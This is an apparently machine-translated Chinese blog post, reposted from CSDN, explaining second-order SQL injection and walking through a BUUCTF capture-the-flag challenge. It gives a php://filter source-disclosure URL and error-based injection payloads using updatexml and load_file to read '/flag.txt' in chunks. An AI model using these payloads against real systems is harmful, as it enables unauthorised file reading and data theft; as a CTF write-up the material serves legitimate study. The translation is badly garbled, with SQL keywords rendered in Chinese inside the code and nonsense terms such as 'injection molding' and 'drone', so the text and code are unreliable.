二次注入
二次注入漏洞是Web应用中普遍存在的安全漏洞。与一次性注入漏洞相比,工作时注入漏洞更难检测,但其攻击力与一次性注入漏洞相当。 (第二次注入主要是字符注入)
二次注射原理
二次注入的原理是,第一次向数据库插入数据时,只需使用addslashes或者使用get magic_quotes_gpc来转义特殊字符即可。然而,addslashes 的一个特点是,即使参数被过滤,它们仍然是“\\”。添加\’\\\’是为了转义,但\’\\\’不会插入到数据库中,写入数据库时保留原始数据。将数据存储在数据库中后,开发人员确定该数据是可信的。下次需要查询时,直接从数据库中取出脏数据,不做进一步的检查或处理,造成二次SQL注入。例如,第一次插入数据时,数据包含单引号,直接插入数据库。然后在下次使用时,在粘合过程中会形成二次注塑。
恶意数据库插入- 恶意数据参考(潜在)
测试时,首先确定网站是否有过滤(通常都会有),然后检查是否有常见的电子邮件、注册、更改密码、添加文章、编辑等可能发生的入口点。
无人机是buuctf制造的
我查看了源码,发现有一个文件参数。
输入URL:file=php://filter/read=convert.base64-encode/resource=index.php。
导出为Base64编码解码得到源码(感谢csdn)
该网页有索引、确认、删除、修改网页,逻辑为index.php-confirm.php。
经过筛查,发现change.php中有注入(无转义功能)
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg=\’没有SQL 注入!\’;
}除此之外{
$sql=\’从`user`中选择*,其中`user_name`=\'{$user_name}\’和`phone`=\'{$phone}\’\’;
$fetch=$db-query($sql);
}
开始注射
使用错误注入
1\’ and updatexml(1,concat(0x7e,(select substr(load_file(\’/flag.txt\’),1,30)),0x7e),1)#
接下来,更改读取标志的顺序。
1\’ and updatexml(1,concat(0x7e,(select substr(load_file(\’/flag.txt\’),30,30)),0x7e),1)#
重新注入得到下半场
以上来自网络的关于#SQL注入和二次注入的相关内容仅供大家参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93812.html